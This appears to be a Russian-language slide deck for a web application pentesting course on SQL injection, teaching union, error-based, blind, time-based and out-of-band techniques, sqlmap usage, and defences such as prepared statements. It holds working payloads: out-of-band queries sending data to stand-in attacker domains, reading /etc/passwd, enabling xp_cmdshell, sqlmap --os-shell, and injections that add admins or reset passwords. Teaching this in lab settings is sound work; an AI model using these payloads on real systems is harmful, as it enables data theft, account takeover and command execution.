<style>
.reveal {
font-size: 36px;
}
</style>
# Web App Pentest
## 4 SQL Injection
---
Вопросы по заданиям?
---
## Темы занятия
* Краткий обзор SQL
* Описание уязвимости SQL injection
* Вектора эксплуатации: bypass, union-based
* Обзор имеющихся информационных ресурсов по уязвимости SQL injection
* Вектора эксплуатации уязвимости SQL injection: error-based, boolean-blind, time-based.
* Использование sqlmap для автоматической эксплуатации уязвимостей SQL injection
* Рекомендации для разработчиков для исключения уязвимости SQL injection
---
## SQL
SQL - Structured Query Language
Позволяет делать запросы к реляционным базам данным.
Существует множество систем управления базами данных, в каждой из них используется свой диалект SQL:
- MySQL
- SQLite
- Oracle
- MSSql
- PostgreSQL
---
## SQL
Данные в реляционных БД храняться в таблицах
| Id | Name | Password |
| -------- | -------- | -------- |
| 1 | admin | 123123 |
| 2 | user | jf#8EfjsiLEiws- | |
| 3 | guest | | |
---
## SQL
```sql=
SELECT name,password
FROM users
WHERE id=1 OR substr(name,1,1)='g'
ORDER BY id
LIMIT 2
```
| Name | Password |
| ----- | --------------- |
| admin | 123123 |
| guest | |
---
## Run SQL online
https://www.jdoodle.com/execute-sql-online - SQLite
http://sqlfiddle.com - все 5
http://rextester.com/l/sql_server - MSSQL, PostgreSQL, MySQL, Oracle
https://sqliteonline.com/ - PostgreSQL, SQLite, MariaDB (MySQL), MSSQL
---
## SQL
https://www.w3schools.com/sql/default.asp - tutorial
http://sql-ex.ru/ - сайт с упражнениями для SQL
---
## SQL injection
---
## OWASP A1: Injection
Уязвимости к инъекциям, таким как инъекции SQL, NoSQL, Command и LDAP, возникают, когда ненадежные данные отправляются интерпретатору как часть команды или запроса. Внедренные данные злоумышленника могут заставить интерпретатор выполнить непреднамеренные команды или дать возможность получить доступ к данным без надлежащей авторизации.
---
## SQL Injection
Уязвимость, при которой контролируемые атакующим данные внедряются в формируемый SQL-запрос. В результате внедрения атакующий может нарушить логику работы запроса и/или заставить СУБД выполнить полезные для атакующего действия.
---
## SQL Injection
```php
$query = "SELECT username, email, phone FROM users
WHERE username = '" . $_REQUEST['username'] . "'";
$result = mysql_query($conn, $query);
```
---
## SQL Injection
```php
$query = "SELECT username, email, phone FROM users
WHERE username ='" . $_REQUEST['username'] . "'";
$result = mysql_query($conn, $query);
```
`http://vuln.example.com/?username=John33' or '1'='1`
---
## SQL Injection
```php
$query = "SELECT username, email, phone FROM users
WHERE username ='" . $_REQUEST['username'] . "'";
$result = mysql_query($conn, $query);
```
`http://vuln.example.com/?username=John33' or '1'='1`
```php=
echo $query;
SELECT username, email, phone FROM users
WHERE username='John33' or '1'='1'
```
---
## SQL Injection
Пример:
bWAPP - SQL Injection (Login Form/Hero).
---
## Упражнение
Root me:
SQL injection - Authentication
---
## SQL Injection
Possible impact:
* Чтение информации из доступных баз данных
* Получение информации о сервере, текущем пользователе, настройках
* Получение информации из файловой системы
* Возможность модификации информации в базе данных
* Возможность записи в файлы
* Возможность выполнения произвольного кода
---
## SQL Injection - cheatsheets
Pentest Monkey:
http://pentestmonkey.net/category/cheat-sheet/sql-injection
Payloads all the things:
https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/SQL%20Injection/
---
## SQL Injection
### Техники атак
---
## Техники SQL Injection
* Bypassing
* Stacked queries
* Union-based
* Error-based
* Out of band
* Boolean blind
* Time-based (double blind)
---
## Bypass
Bypass инъекции, это когда модифицируется запрос с целью обойти какое-то логическое ограничение
```php
$sql = "SELECT username FROM users WHERE username='".POST['login']." AND password='".md5(POST[‘password’])."'";
```
login=admin' or '1'='1&password=kekpekpohek
login=admin' -- &password=kekpekpohek
---
## Stacked queries
```sql=
SELECT * FROM products WHERE productid=1; DELETE FROM products
```
Позволяет делать любые запросы к БД (INSERT в пользователей с правами admin, UPDATE своего счета до миллиарда и т.д.)
В том числе вызывать хранимые процедуры, системные функции и т.д.

---
## Union based
UNION - оператор SQL, позволяющий объединить результаты двух запросов
```SQL
SELECT name,password from users UNION SELECT name,password from system_users
```
---
## Union based
UNION - оператор SQL, позволяющий объединить результаты двух запросов
```SQL
SELECT name,password from users UNION SELECT name,password from system_users
SELECT name,password from users UNION SELECT '123','234'
```
---
## Union based
UNION - оператор SQL, позволяющий объединить результаты двух запросов
```SQL
SELECT name,password from users UNION SELECT name,password from system_users
SELECT name,password from users UNION SELECT '123','234'
SELECT name,password from users UNION SELECT title,body from posts
```
---
## Union based
Если данные из запроса выводятся в ответ, то можно проводить Union-based SQL-инъекции.
Идея в том, чтобы добавить в запрос еще один запрос и вывести ответ на экран.
```php
$sql = "SELECT first_name, second_name, city FROM users WHERE id=$id";
```
```/users.php?id=1 UNION ALL SELECT login,password,'1' FROM users```
---
## Union based
Определение количества столбцов в запросе
-ORDER BY (GROUP BY). ORDER BY может принимать на вход номер колонки, по которой надо сортировать ответ. Если передать номер, больший чем колонок - возникнет ошибка.
* ?id=2 ORDER BY 4
* ?id=2 GROUP BY 4
Поэтому просто перебираем целые по возрастанию, пока не возникнет ошибка. Максимальное число на котором нет ошибки - количество столбцов.
<Пример в онлайн SQL>
---
## Union based
/users.php?id=1 UNION ALL SELECT login,password,’1’ FROM admins
Что надо учитывать:
1) Лучше добавлять ALL - если его не добавить, то SQL удалит дубли, и мы можем долго думать куда пропала часть данных
2) Если страница выводит только определенное количество ответов (например, один), нужно в изначальном запросе использовать такие данные чтобы ничего не вернулось
`name=fefefe' and 1=0 UNION SELECT ....`
---
## Union based
SQL Injection (GET/Search)
SQL Injection (GET/Select)
---
## SQLite
Информацию о схеме в SQLite можно получить:
`SELECT sql from sqlite_master`
---
## Упражнения
SQL injection - String
SQL injection - Numeric
---
## Отступление
#### О поиске инъекций и сборе информации из базы
---
## В каких запросах могут быть инъекции
В любых!
* SELECT - самый распространенный
* INSERT
* UPDATE
* DELETE
Обычно из семантики запроса можно понять что за запрос делается.
---
## Место инъекции

---
## Место инъекции

В большинстве случаев
---
## Место инъекции

Иногда в этих
---
## Нужна ли кавычка
Два типа:
```sql
SELECT * FROM users where password = '<input>'
SELECT * FROM users where id=<input>
```
Второй способ используется для числовых значений.
Если в процессе анализа видим, что нормальное значение поля - число, то проверять надо оба варианта
---
## Как проверить что есть инъекция
Для числовых полей:
Мы знаем что сервис по разному отвечает на `?id=10` и `?id=11`. Тогда делаем `?id=11-1` и смотрим что получится.
---
## Как проверить что есть инъекция
Для "кавычковых" полей:
Сделать запрос, который не нарушает логику работы.
Рекомендуется:
`id` = `5555' AND '1'='1`
Если ответ тот же что и на странице id=5555, при этом ответ на id=5555'<random_data> - не такой, то инъекция вероятно есть
---
## Как проверить что есть инъекция
Мы также можем использовать payload, которые приводят к задержке или DNS-запросу.
https://github.com/sorokinpf/cth_wordlists/tree/master/SQL%20injection
---
## Комментарии в SQL
Зависят от диалекта
<пробел>--<пробел> - комментирует оставшуюся часть строки.
Может не работать в случае многострочных запросов
```sql
SELECT * from USERS
WHERE username='<login>'
AND password='<hash(password)>'
```
`login`=`admin' -- ` - в данном случае не сработает, т.к. последняя строка все еще будет работать.
---
## Комментарии в SQL
В некоторых диалектах есть многострочный комменарий /*
---
## Что нас интересует в БД
1) Системная информация
2) Имена таблиц
3) Имена колонок
4) Данные
5) Доступ к локальным файлам
6) Выполнение команд ОС
---
## Системная информация
* Версия
* Имя пользователя
* Имя хоста
<Пример>
---
## Таблицы и колонки
См. cheatsheet
Например для MySQL:
```SELECT table_name from information_schema.tables```
```SELECT column_name from information_schema.columns where table_name='table'```
---
## Определение СУБД

---
## Вернемся к техникам атак
---
## Error based
Возникает когда веб-приложение отображает ошибку SQL.
| СУБД | Вектор |
| ------ | ---------------------------------------------------------------------------------------------------------------------------------------- |
| MySQL | select 1,2 union select count(*),concat((select content from docs limit 1),floor(rand(0)*2))x from information_schema.tables group by x; |
| MySQL2 | SELECT EXTRACTVALUE(1,CONCAT(0x30,0x327a6b70,@@version)) |
| MSSQL | SELECT CAST((select name from PurchaseOrderDetail) as int); |
---
```
```
---
## Error based
Возникает когда веб-приложение отображает ошибку SQL.
| СУБД | Вектор |
| ---------- | -------------------------------------------------------------------------------- |
| Oracle | (utl_inaddr.get_host_address((select user from DUAL))) |
| PostrgeSQL | SELECT CAST((SELECT kind from films limit 1) as integer); |
| DB2 | select TO_CHAR((select 'fefwefwef' from sysibm.sysdummy1)) from sysibm.sysdummy1 |
---
## Error based
Пример
---
## Boolean blind
## (Boolean based)
---
## Boolean blind
Если напрямую не выводятся ни данные, ни ошибка, но мы можем понять является ли ответ на запрос TRUE или FALSE
Первая задача найти два запроса, в одном из которых есть константное выражение TRUE, в другом FALSE, которые дают разный результат
Например:
`?id=12 AND IF((SELECT 1)=1,TRUE,FALSE)`
`?id=12 - IF((SELECT 1)=1,2,3)`
---
## Boolean Blind
Отправляя поочередно множество "вопросов" в БД можно получить произвольную информацию.
---
## Boolean Blind
<Пример>
---
## Boolean Blind
Для эксплуатации нам нужно уметь делать следующие 4 действия:
* Определять количество строк в ответе
* Выбирать конкретный объект из всей выборки
* Определять количество символов в строке
* Определять конкретный символ конкретной строки
---
## Boolean Blind
Условные операторы
* `IF` - только в MySQL
* `CASE ... WHEN ... THEN ... ELSE ... END` - в большинтве СУБД
---
## Boolean Blind
Условные операторы
Часто можно его не использовать:
`?id=12 AND (SELECT count(*) FROM information_schema.tables)>50`
---
## Boolean Blind
Выбираем конкретную строку из ответа:
`limit 1,2` - MySQL,SQLite
`limit 1 offset 0` - Postgres
`OFFSET 3 ROWS FETCH NEXT 1 ROWS ONLY` - MSSQL и Oracle (новые версии)
---
## Boolean Blind
Получаем длину строки:
* `len(name)` - mysql
* `length(name)` - остальные
---
## Boolean Blind
Выбираем 1 символ:
* `substr(name,1,1)` - MySQL, SQLite, Oracle
* `substring(name,1,1)` - MSSQL, Postgres
---
## Boolean Blind
#### Бинарный поиск
Позволяет определить значение 1 байта за 8 запросов

---
## Boolean Blind
Приведение символа к числу:
* `unicode(substr(name,1,1))` - SQLite
* `ASCII(substr(name,1,1))` - всех остальных
---
## Out of Band
---
## Out of Band
Идея - заставить БД сделать DNS/HTTP запрос, похищаемые данные подставить в поддомен/строку запроса.
---
## Out of Band
### MSSQL
```sql
select * from fn_trace_gettable('\\'+(select 'abc')+'domain.hacker.com\1.trc',default)
```
Также можно использовать `fn_xe_file_target_read_file`, `fn_get_audit_file`
---
## Out of Band
### Oracle
```sql
SELECT UTL_HTTP.REQUEST(concat('http://',(select ...),'.attacker.domain.com')
```
---
## Time based
## (Double blind)
---
## Time based
Если веб-приложение не выводит никакой информации из выполненного запроса, то мы можем вызывать SQL функцию задержки при определенном условии.
Измеряя время ответа веб-приложения можно получить 1 бит информации за 1 запрос. Сводится к Blind.
Пример: `SELECT IF(1=1,SLEEP(10),1)`
---
## Привелигированные атаки
---
## Чтение файлов
Требует привилегированного пользователя
MySQL: `SELECT LOAD_FILE(‘/etc/passwd’)`
см. cheatsheet.
<пример>
---
## Запись файлов
MySQL:
```sql
SELECT * from users INTO OUTFILE '/tmp/123.txt'
```
см. cheatsheet.
<пример - заливка шелла в /app/images>
---
## Выполнение команд
MSSQL:
```sql
EXEC sp_configure 'xp_cmdshell', 1;
RECONFIGURE;
EXEC xp_cmdshell 'whoami';
```
---
## Выполнение команд
PostgreSQL:
```sql=
CREATE TABLE commands_results (
id SERIAL PRIMARY KEY,
output TEXT
);
COPY commands_results (output) FROM PROGRAM 'whoami';
```
---
## sqlmap
---
## sqlmap
Автоматический сканер SQL-инъекций и помощник в их эксплуатации
https://github.com/sqlmapproject/sqlmap
`apt-get install sqlmap`
`brew install sqlmap`
---
## sqlmap
Есть две фазы работы:
* Обнаружение
* Эксплуатация
---
## sqlmap - Обнаружение - базовый пример
```sqlmap -u "http://web-fund.hackeru.pro:8001/sqli_1.php?title=a&action=search"```
<демонстрация>
---
## sqlmap - Обнаружение
Передача запроса целиком:
`sqlmap -r request.txt`
request.txt можно взять прямо с BURP
---
## sqlmap - Обнаружение
Если мы хотим, чтобы sqlmap вставлял пэйлоады в определенное место, используем символ *
Пример:
`sqlmap -u "http://localhost/sqli_1.php?title=*&action=search"`
Аналогично внутри файла, передаваемого в -r.
---
## sqlmap - Обнаружение
Если мы хотим, чтобы sqlmap искал только определенные техники эксплуатации
--technique
* B=boolean
* E=error
* U=union
* S=staked
* T=time-based
---
## sqlmap - Обнаружение
Часто бывает так что sqlmap не находит нормальную технику, но вы её уже нашли, она точно есть.
Тогда можно попробовать следующее:
* Добавить кавычки и прочую обвязку в запрос, так чтобы sqlmap вместо звездочки нужно было поставить очень простой запрос.
* Наоборот убрать все, оставить в запросе одну только звездочку.
---
## sqlmap - Обнаружение
--level - чем выше, тем больше векторов проверяет sqlmap, увеличивает длительность, диапазон значений 1-5
--risk - чем выше, тем опасней вектора будет пробовать sqlmap. Может привести к удалению информации. Диапазон значений 1-3, лучше оставлять 1.
---
## sqlmap - Эксплуатация
Достаем данные.
1) листим базы данных
`sqlmap ... --dbs`
2) листим таблицы
`sqlmap -D bWAPP --tables`
3) листим колонки
`sqlmap -D bWAPP -T heroes --columns`
4) дампим таблицу
`sqlmap -D bWAPP -T heroes --dump`
---
## sqlmap - Эксплуатация
sql shell позволяет выполнять запросы SQL.
`sqlmap ... --sql-shell`
---
## sqlmap - Эксплуатация
OS shell позволяет автоматически выполнить команды ОС
`sqlmap ... --os-shell`
---
## sqlmap - Эксплуатация
--threads - количество потоков
Особенно важно при эксплуатации blind, т.к. сильно ускоряет процесс.
---
## sqlmap - Кэширование
`sqlmap` кэширует уже вытащенную информацию, чтобы не повторять запросы. Иногда нам надо сбросить кэш.
В таком случае нужно удалить директорию <демонстрация>.
---
## sqlmap - упражнение root-me
---
## sqli_blinder
https://github.com/sorokinpf/sqli_blinder
Позволяет эксплуатировать blind injections если sqlmap их не находит, или по другой причине не справляется.
Нужно реализовать 1 функцию на Python.
---
## INSERT SQL Injections
---
## INSERT SQL Injections
Позволяет добавлять дополнительные записи в целевую таблицу с произвольным содержимым.
---
## INSERT SQL Injections
`#users -> (id,is_admin,name,password)`
```php=
$sql = "INSERT INTO users VALUES (0,0,'$username','md5($password)' )"
```
`?name=‘,'fefef'),(0,1,'new_admin&password=123123`
Добавит нового пользователя с правами admin’a
---
## INSERT SQL Injections
`#posts -> (id,title,body)`
```php=
$sql = "INSERT INTO posts VALUES (0,'$title','$body')""
```
`?body='),(1,(SELECT @@version),'other`
Добавит результат subquery в запись. Потом этот результат может быть считан.
---
## UPDATE SQL Injections
---
## UPDATE SQL Injections
UPDATE users SET email='<span style="color:red"><input></span>' WHERE id='<span style="color:green"><input></span>'
---
## UPDATE SQL Injections
```sql
UPDATE users SET email='<input>' WHERE id='2'
```
Тут можно изменять другие поля как этой так и других записей:
1) `email=',is_admin='1`
```sql
UPDATE users SET email='',is_admin='1' WHERE id='2'
```
2) `email=',password='123' where username='admin' -- `
```sql
UPDATE users SET email='',password='123' where username='admin' -- ' WHERE id='2'
```
---
## UPDATE SQL Injections
```sql
UPDATE users SET email='<input>' WHERE id='2'
```
Также можно получить данные:
3) `email=',about=(SELECT @@version) where username='my_user' --``
```sql
UPDATE users SET email='',about=(SELECT @@version) where username='my_user' -- ' WHERE id='2'
```
---
## UPDATE SQL Injections
```sql
UPDATE users SET email='xxx@yyy.ru' WHERE id='<input>'
```
1) Тут можно изменить указанные в запросе поля другому пользователю
`email=our@mail.ru&id=testfefefefe' or username='admin`
---
## UPDATE SQL Injections
```sql
UPDATE users SET email='xxx@yyy.ru' WHERE id='<input>'
```
Также можно провести блайнд атаку на получение данных
`email=xxx@zzz.ru&id=1' and (select count(*) from users)>10 -- `
Если почта изменилась, значит пользователей больше 10.
---
## Защита от SQL injection
---
## Защита от SQL injection
- Валидация
- Безопасное обращение к SQL
---
## Защита от SQL injection
* Санитизация (экранирование опасных символов) - <span style="color:red">НЕ РЕКОМЕНДУЕТСЯ</span>
* Prepared statements
* ORM
---
## Защита от SQL injection
Санитизация
```php=
<?php
$link = mysql_connect('mysql_host', 'mysql_user', 'mysql_password')
OR die(mysql_error());
$query = sprintf("SELECT * FROM users WHERE user='%s' AND password='%s'",
mysql_real_escape_string($user),
mysql_real_escape_string($password));
?>
```
---
## Защита от SQL injection
Prepared Statements
```php=
$stmt = $dbh->prepare("SELECT * FROM REGISTRY where name = ?");
if ($stmt->execute(array($_GET['name']))) {
while ($row = $stmt->fetch()) {
print_r($row);
}
}
```
---
## Защита от SQL injection
ORM
```php=
Model\User::where('active', 1)
->where('username', $_GET['username'])
->orberBy('username')
->get();
```
---
## Задания
- на CTFd (http://web-fund.hackeru.pro)
- тест для самопроверки в LMS
---
{"metaMigratedAt":"2023-06-16T10:16:54.011Z","metaMigratedFrom":"YAML","title":"Web App Pentest - 4 SQL Injection","breaks":true,"slideOptions":"{\"transition\":\"fade\",\"parallaxBackgroundImage\":\"https://i.imgur.com/YClZ1aY.jpg\"}","contributors":"[{\"id\":\"0c054233-c19a-4022-8ae1-7189582f00e1\",\"add\":19426,\"del\":4}]"}